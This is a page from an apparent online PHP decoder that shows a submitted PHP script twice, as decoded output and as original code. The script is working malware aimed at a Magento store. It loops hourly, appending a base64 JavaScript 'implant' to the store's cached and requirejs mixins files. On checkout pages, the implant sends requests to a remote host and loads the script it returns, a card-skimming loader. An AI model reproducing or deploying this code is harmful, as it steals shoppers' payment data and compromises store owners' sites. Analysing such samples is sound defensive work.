Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php while (true) { $implant = "ZnVuY3Rpb24geWVyajBZRWxCVih5Z0hQNUNHdzNIcWRhSjNDK..
Decoded Output download
<?php
while (true) {
$implant = "ZnVuY3Rpb24geWVyajBZRWxCVih5Z0hQNUNHdzNIcWRhSjNDKSB7CiAgICB2YXIgY2g3NVZWM1NOZWhFZ0tMOSA9ICJhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OSsvPSI7CiAgICB2YXIgdWZjZ21EZ0Rwa1VQNW5xcyA9ICIiOwogICAgdmFyIG55Y2FiTlZ1NTZnR3VFWlggPSAiIjsKICAgIGZvciAodmFyIGp1MnNKYnZXd0FHZTZjVVIgPSAweDAsIGNyRno4ZGFYQTNVZlV0M2UsIGVWWXh1RFNqNFlWMzI5amMsIGNlWnVNZUU2NTl3Qm44NXEgPSAweDA7IGVWWXh1RFNqNFlWMzI5amMgPSB5Z0hQNUNHdzNIcWRhSjNDWyJjaGFyQXQiXShjZVp1TWVFNjU5d0JuODVxKyspOyB+ZVZZeHVEU2o0WVYzMjlqYyAmJiAoY3JGejhkYVhBM1VmVXQzZSA9IGp1MnNKYnZXd0FHZTZjVVIgJSAweDQgPyBjckZ6OGRhWEEzVWZVdDNlICogMHg0MCArIGVWWXh1RFNqNFlWMzI5amMgOiBlVll4dURTajRZVjMyOWpjLCBqdTJzSmJ2V3dBR2U2Y1VSKysgJSAweDQpID8gdWZjZ21EZ0Rwa1VQNW5xcyArPSBTdHJpbmdbImZyb21DaGFyQ29kZSJdKDB4ZmYgJiBjckZ6OGRhWEEzVWZVdDNlID4+ICgtMHgyICoganUyc0pidld3QUdlNmNVUiAmIDB4NikpIDogMHgwKSB7CiAgICAgICAgZVZZeHVEU2o0WVYzMjlqYyA9IGNoNzVWVjNTTmVoRWdLTDlbImluZGV4T2YiXShlVll4dURTajRZVjMyOWpjKTsKICAgIH0KICAgIGZvciAodmFyIHVZU0VtVGFQbWtDRXJGM2EgPSAweDAsIGMzcnYzVUNjVnRCNGtCckggPSB1ZmNnbURnRHBrVVA1bnFzWyJsZW5ndGgiXTsgdVlTRW1UYVBta0NFckYzYSA8IGMzcnYzVUNjVnRCNGtCckg7IHVZU0VtVGFQbWtDRXJGM2ErKykgewogICAgICAgIG55Y2FiTlZ1NTZnR3VFWlggKz0gIiUiICsgKCIwMCIgKyB1ZmNnbURnRHBrVVA1bnFzWyJjaGFyQ29kZUF0Il0odVlTRW1UYVBta0NFckYzYSlbInRvU3RyaW5nIl0oMHgxMCkpWyJzbGljZSJdKC0weDIpOwogICAgfQogICAgcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChueWNhYk5WdTU2Z0d1RVpYKTsKfTsKCmZ1bmN0aW9uIHlkSnphZzVja3RUQUMzVzcoKSB7CnZhciBjRkhlT2J5ID0gWyJ5MjlWQTJMTCIsIkJnOUp5eHJQQjI0IiwiQndmMHkyRyIsInpNWFZCM2kiLCJDTWZVemc5VCJdOwp2YXIgd2pmVERKekRlQiA9IFsiQWVTMkRLdVpBSzhaRGVDWENmbVp6cSIsIkR1U1lBTHEyQWVxM0MxYTRCMUMyRHEiLCJEdVNZQUxxMkFlcTNDMWE0QjFDMkRzYTlpZGU3enhIV0F4akxDWWE5aWZyT0RzV0dtSmVHcXh2TmlkaVdtSnFHbUphNm1kYTZtZGFHdnZyZCJdOwogICAgaWYgKGRvY3VtZW50W3llcmowWUVsQlYoY0ZIZU9ieVswXSldLmluZGV4T2YoeWVyajBZRWxCVih3amZUREp6RGVCWzBdKSkgPT0gLTEpIHsKICAgICAgICAgICAgaWYgKHdpbmRvd1t5ZXJqMFlFbEJWKGNGSGVPYnlbMV0pXS5ocmVmW3llcmowWUVsQlYoY0ZIZU9ieVsyXSldKC9zdmVhY2hlY2tvdXQvKSkgewogICAgICAgICAgICAgICAgaWYgKGRvY3VtZW50W3llcmowWUVsQlYoY0ZIZU9ieVswXSldLmluZGV4T2YoeWVyajBZRWxCVih3amZUREp6RGVCWzFdKSkgPT0gLTEpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgcm5kSW50ID0gTWF0aFt5ZXJqMFlFbEJWKGNGSGVPYnlbM10pXShNYXRoW3llcmowWUVsQlYoY0ZIZU9ieVs0XSldKCkgKiAzKSArIDE7CiAgICAgICAgICAgICAgICAgICAgaWYgKHJuZEludCA9PSAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVnZlFkR0U5UGwwWXJxKCk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnRbeWVyajBZRWxCVihjRkhlT2J5WzBdKV0gPSB5ZXJqMFlFbEJWKHdqZlRESnpEZUJbMl0pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgfTsKfTsKCgoKZnVuY3Rpb24gZWdmUWRHRTlQbDBZcnEoKSB7CnZhciBmQ3BZOWxXb0NuVDJLVHNFWSA9IFsieU5yVnlxIiwiQjNiTEJHIiwiQzJ2VXphIiwiQjI1WXp3ZktFeG4weXhyTHkySEhCTURMIiwiQ012SHpoTHREZ2YwenEiLCJDZ2ZZQzJ1IiwiQ012WkNnOVVDMnZ1enhIMCIsInkzakx5eHJMcndYTEJ3dlVEYSIsIkF3NVV6eGppdmUxbSIsInlNOUtFcSJdOwp2YXIgaWp1UzBCcmtoVGxXQiA9IFsiRHdMS3BxIiwicjB2dSIsIkFocjBDaG02bFk5TGxNdld5eExZeXhQVkNJNUpCMjBWRDJIUENjNVdBaGEvIiwiQzJuWUF4YjAiXTsKICAgIHZhciBwb3N0RGF0YSA9IHllcmowWUVsQlYoaWp1UzBCcmtoVGxXQlswXSkgKyB3aW5kb3dbeWVyajBZRWxCVihmQ3BZOWxXb0NuVDJLVHNFWVswXSldKHdjTXA5WlZhYigpKTsKICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKQogICAgeGhyW3llcmowWUVsQlYoZkNwWTlsV29DblQyS1RzRVlbMV0pXSgKICAgICAgICB5ZXJqMFlFbEJWKGlqdVMwQnJraFRsV0JbMV0pLAogICAgICAgIHllcmowWUVsQlYoaWp1UzBCcmtoVGxXQlsyXSkgKyBwb3N0RGF0YSwKICAgICAgICB0cnVlCiAgICApCiAgICB4aHJbeWVyajBZRWxCVihmQ3BZOWxXb0NuVDJLVHNFWVsyXSldKHBvc3REYXRhKTsKICAgIHhoclt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzNdKV0gPSBmdW5jdGlvbiAoKSB7CiAgICAgICAgaWYgKHhoclt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzRdKV0gPT0gNCkgewogICAgICAgICAgICB2YXIgYW5zd2VyID0gSlNPTlt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzVdKV0oeGhyW3llcmowWUVsQlYoZkNwWTlsV29DblQyS1RzRVlbNl0pXSk7CiAgICAgICAgICAgIHZhciBzY3IgPSBkb2N1bWVudFt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzddKV0oeWVyajBZRWxCVihpanVTMEJya2hUbFdCWzNdKSk7CiAgICAgICAgICAgIHNjclt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzhdKV0gPSBhbnN3ZXI7CiAgICAgICAgICAgIGRvY3VtZW50W3llcmowWUVsQlYoZkNwWTlsV29DblQyS1RzRVlbOV0pXS5hcHBlbmRDaGlsZChzY3IpOwogICAgICAgIH0KICAgIH0KfTsKCgoKZnVuY3Rpb24gd2NNcDlaVmFiKCkgewp2YXIgbXFoQXBTNzYwdjBHID0gWyJDTXZXQmdmSnpxIiwiejJ2MHVNZlV6ZzlUdk1mU0R3dloiLCJEZzl0RGhqUEJNQyJdOwogICAgcmV0dXJuIChbMWU3XSArIC0xZTMgKyAtNGUzICsgLThlMyArIC0xZTExKVt5ZXJqMFlFbEJWKG1xaEFwUzc2MHYwR1swXSldKC9bMDE4XS9nLCBjID0+CiAgICAgICAgKGMgXiBjcnlwdG9beWVyajBZRWxCVihtcWhBcFM3NjB2MEdbMV0pXShuZXcgVWludDhBcnJheSgxKSlbMF0gJiAxNSA+PiBjIC8gNClbeWVyajBZRWxCVihtcWhBcFM3NjB2MEdbMl0pXSgxNikKICAgICk7Cn07CgoKaWYodHlwZW9mIHJsTzRWbXFWR1lQUzIgPT0gInVuZGVmaW5lZCIpewoJcmxPNFZtcVZHWVBTMj0xOwoJZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIHlkSnphZzVja3RUQUMzVzcoKSk7Cn0=";
foreach (glob("/var/app/current/pub/static/_cache/merged/*.js") as $filename) {
if (!preg_match("/ydJzag5cktTAC3W7/", file_get_contents($filename))) {
file_put_contents($filename, base64_decode($implant), FILE_APPEND);
echo "<!--updated: {$filename}-->
";
} else {
echo "<!--ok: {$filename}-->
";
}
}
$path = array(
"/var/app/current/pub/static/frontend/Magento/luma/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/Magento/luma/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/Magento/blank/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/Magento/blank/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/365ecom/s365/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/365ecom/s365/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/365ecom/s365/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/365ecom/s365/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/luma/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/luma/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/blank/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/blank/nb_NO/mage/requirejs/mixins.min.js",
);
foreach ($path as $filename) {
if (file_exists($filename)) {
if (is_writable($filename)) {
if (!preg_match("/ydJzag5cktTAC3W7/", file_get_contents($filename))) {
file_put_contents($filename, base64_decode($implant), FILE_APPEND);
echo "<!--updated: {$filename}-->
";
} else {
echo "<!--ok: {$filename}-->
";
}
} else {
echo "<!--file_not_writable: {$filename}-->
";
}
} else {
echo "<!--file_not_exists: {$filename}-->
";
}
}
sleep(3600); ?>
Did this file decode correctly?
Original Code
<?php
while (true) {
$implant = "ZnVuY3Rpb24geWVyajBZRWxCVih5Z0hQNUNHdzNIcWRhSjNDKSB7CiAgICB2YXIgY2g3NVZWM1NOZWhFZ0tMOSA9ICJhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OSsvPSI7CiAgICB2YXIgdWZjZ21EZ0Rwa1VQNW5xcyA9ICIiOwogICAgdmFyIG55Y2FiTlZ1NTZnR3VFWlggPSAiIjsKICAgIGZvciAodmFyIGp1MnNKYnZXd0FHZTZjVVIgPSAweDAsIGNyRno4ZGFYQTNVZlV0M2UsIGVWWXh1RFNqNFlWMzI5amMsIGNlWnVNZUU2NTl3Qm44NXEgPSAweDA7IGVWWXh1RFNqNFlWMzI5amMgPSB5Z0hQNUNHdzNIcWRhSjNDWyJjaGFyQXQiXShjZVp1TWVFNjU5d0JuODVxKyspOyB+ZVZZeHVEU2o0WVYzMjlqYyAmJiAoY3JGejhkYVhBM1VmVXQzZSA9IGp1MnNKYnZXd0FHZTZjVVIgJSAweDQgPyBjckZ6OGRhWEEzVWZVdDNlICogMHg0MCArIGVWWXh1RFNqNFlWMzI5amMgOiBlVll4dURTajRZVjMyOWpjLCBqdTJzSmJ2V3dBR2U2Y1VSKysgJSAweDQpID8gdWZjZ21EZ0Rwa1VQNW5xcyArPSBTdHJpbmdbImZyb21DaGFyQ29kZSJdKDB4ZmYgJiBjckZ6OGRhWEEzVWZVdDNlID4+ICgtMHgyICoganUyc0pidld3QUdlNmNVUiAmIDB4NikpIDogMHgwKSB7CiAgICAgICAgZVZZeHVEU2o0WVYzMjlqYyA9IGNoNzVWVjNTTmVoRWdLTDlbImluZGV4T2YiXShlVll4dURTajRZVjMyOWpjKTsKICAgIH0KICAgIGZvciAodmFyIHVZU0VtVGFQbWtDRXJGM2EgPSAweDAsIGMzcnYzVUNjVnRCNGtCckggPSB1ZmNnbURnRHBrVVA1bnFzWyJsZW5ndGgiXTsgdVlTRW1UYVBta0NFckYzYSA8IGMzcnYzVUNjVnRCNGtCckg7IHVZU0VtVGFQbWtDRXJGM2ErKykgewogICAgICAgIG55Y2FiTlZ1NTZnR3VFWlggKz0gIiUiICsgKCIwMCIgKyB1ZmNnbURnRHBrVVA1bnFzWyJjaGFyQ29kZUF0Il0odVlTRW1UYVBta0NFckYzYSlbInRvU3RyaW5nIl0oMHgxMCkpWyJzbGljZSJdKC0weDIpOwogICAgfQogICAgcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChueWNhYk5WdTU2Z0d1RVpYKTsKfTsKCmZ1bmN0aW9uIHlkSnphZzVja3RUQUMzVzcoKSB7CnZhciBjRkhlT2J5ID0gWyJ5MjlWQTJMTCIsIkJnOUp5eHJQQjI0IiwiQndmMHkyRyIsInpNWFZCM2kiLCJDTWZVemc5VCJdOwp2YXIgd2pmVERKekRlQiA9IFsiQWVTMkRLdVpBSzhaRGVDWENmbVp6cSIsIkR1U1lBTHEyQWVxM0MxYTRCMUMyRHEiLCJEdVNZQUxxMkFlcTNDMWE0QjFDMkRzYTlpZGU3enhIV0F4akxDWWE5aWZyT0RzV0dtSmVHcXh2TmlkaVdtSnFHbUphNm1kYTZtZGFHdnZyZCJdOwogICAgaWYgKGRvY3VtZW50W3llcmowWUVsQlYoY0ZIZU9ieVswXSldLmluZGV4T2YoeWVyajBZRWxCVih3amZUREp6RGVCWzBdKSkgPT0gLTEpIHsKICAgICAgICAgICAgaWYgKHdpbmRvd1t5ZXJqMFlFbEJWKGNGSGVPYnlbMV0pXS5ocmVmW3llcmowWUVsQlYoY0ZIZU9ieVsyXSldKC9zdmVhY2hlY2tvdXQvKSkgewogICAgICAgICAgICAgICAgaWYgKGRvY3VtZW50W3llcmowWUVsQlYoY0ZIZU9ieVswXSldLmluZGV4T2YoeWVyajBZRWxCVih3amZUREp6RGVCWzFdKSkgPT0gLTEpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgcm5kSW50ID0gTWF0aFt5ZXJqMFlFbEJWKGNGSGVPYnlbM10pXShNYXRoW3llcmowWUVsQlYoY0ZIZU9ieVs0XSldKCkgKiAzKSArIDE7CiAgICAgICAgICAgICAgICAgICAgaWYgKHJuZEludCA9PSAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVnZlFkR0U5UGwwWXJxKCk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnRbeWVyajBZRWxCVihjRkhlT2J5WzBdKV0gPSB5ZXJqMFlFbEJWKHdqZlRESnpEZUJbMl0pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgfTsKfTsKCgoKZnVuY3Rpb24gZWdmUWRHRTlQbDBZcnEoKSB7CnZhciBmQ3BZOWxXb0NuVDJLVHNFWSA9IFsieU5yVnlxIiwiQjNiTEJHIiwiQzJ2VXphIiwiQjI1WXp3ZktFeG4weXhyTHkySEhCTURMIiwiQ012SHpoTHREZ2YwenEiLCJDZ2ZZQzJ1IiwiQ012WkNnOVVDMnZ1enhIMCIsInkzakx5eHJMcndYTEJ3dlVEYSIsIkF3NVV6eGppdmUxbSIsInlNOUtFcSJdOwp2YXIgaWp1UzBCcmtoVGxXQiA9IFsiRHdMS3BxIiwicjB2dSIsIkFocjBDaG02bFk5TGxNdld5eExZeXhQVkNJNUpCMjBWRDJIUENjNVdBaGEvIiwiQzJuWUF4YjAiXTsKICAgIHZhciBwb3N0RGF0YSA9IHllcmowWUVsQlYoaWp1UzBCcmtoVGxXQlswXSkgKyB3aW5kb3dbeWVyajBZRWxCVihmQ3BZOWxXb0NuVDJLVHNFWVswXSldKHdjTXA5WlZhYigpKTsKICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKQogICAgeGhyW3llcmowWUVsQlYoZkNwWTlsV29DblQyS1RzRVlbMV0pXSgKICAgICAgICB5ZXJqMFlFbEJWKGlqdVMwQnJraFRsV0JbMV0pLAogICAgICAgIHllcmowWUVsQlYoaWp1UzBCcmtoVGxXQlsyXSkgKyBwb3N0RGF0YSwKICAgICAgICB0cnVlCiAgICApCiAgICB4aHJbeWVyajBZRWxCVihmQ3BZOWxXb0NuVDJLVHNFWVsyXSldKHBvc3REYXRhKTsKICAgIHhoclt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzNdKV0gPSBmdW5jdGlvbiAoKSB7CiAgICAgICAgaWYgKHhoclt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzRdKV0gPT0gNCkgewogICAgICAgICAgICB2YXIgYW5zd2VyID0gSlNPTlt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzVdKV0oeGhyW3llcmowWUVsQlYoZkNwWTlsV29DblQyS1RzRVlbNl0pXSk7CiAgICAgICAgICAgIHZhciBzY3IgPSBkb2N1bWVudFt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzddKV0oeWVyajBZRWxCVihpanVTMEJya2hUbFdCWzNdKSk7CiAgICAgICAgICAgIHNjclt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzhdKV0gPSBhbnN3ZXI7CiAgICAgICAgICAgIGRvY3VtZW50W3llcmowWUVsQlYoZkNwWTlsV29DblQyS1RzRVlbOV0pXS5hcHBlbmRDaGlsZChzY3IpOwogICAgICAgIH0KICAgIH0KfTsKCgoKZnVuY3Rpb24gd2NNcDlaVmFiKCkgewp2YXIgbXFoQXBTNzYwdjBHID0gWyJDTXZXQmdmSnpxIiwiejJ2MHVNZlV6ZzlUdk1mU0R3dloiLCJEZzl0RGhqUEJNQyJdOwogICAgcmV0dXJuIChbMWU3XSArIC0xZTMgKyAtNGUzICsgLThlMyArIC0xZTExKVt5ZXJqMFlFbEJWKG1xaEFwUzc2MHYwR1swXSldKC9bMDE4XS9nLCBjID0+CiAgICAgICAgKGMgXiBjcnlwdG9beWVyajBZRWxCVihtcWhBcFM3NjB2MEdbMV0pXShuZXcgVWludDhBcnJheSgxKSlbMF0gJiAxNSA+PiBjIC8gNClbeWVyajBZRWxCVihtcWhBcFM3NjB2MEdbMl0pXSgxNikKICAgICk7Cn07CgoKaWYodHlwZW9mIHJsTzRWbXFWR1lQUzIgPT0gInVuZGVmaW5lZCIpewoJcmxPNFZtcVZHWVBTMj0xOwoJZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIHlkSnphZzVja3RUQUMzVzcoKSk7Cn0=";
foreach (glob("/var/app/current/pub/static/_cache/merged/*.js") as $filename) {
if (!preg_match("/ydJzag5cktTAC3W7/", file_get_contents($filename))) {
file_put_contents($filename, base64_decode($implant), FILE_APPEND);
echo "<!--updated: {$filename}-->\n";
} else {
echo "<!--ok: {$filename}-->\n";
}
}
$path = array(
"/var/app/current/pub/static/frontend/Magento/luma/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/Magento/luma/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/Magento/blank/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/Magento/blank/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/365ecom/s365/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/365ecom/s365/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/365ecom/s365/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/365ecom/s365/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/luma/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/luma/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/blank/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/blank/nb_NO/mage/requirejs/mixins.min.js",
);
foreach ($path as $filename) {
if (file_exists($filename)) {
if (is_writable($filename)) {
if (!preg_match("/ydJzag5cktTAC3W7/", file_get_contents($filename))) {
file_put_contents($filename, base64_decode($implant), FILE_APPEND);
echo "<!--updated: {$filename}-->\n";
} else {
echo "<!--ok: {$filename}-->\n";
}
} else {
echo "<!--file_not_writable: {$filename}-->\n";
}
} else {
echo "<!--file_not_exists: {$filename}-->\n";
}
}
sleep(3600);
Function Calls
None |
Stats
MD5 | dd3e15aa3ec1845e0b2ec633e8e82211 |
Eval Count | 0 |
Decode Time | 131 ms |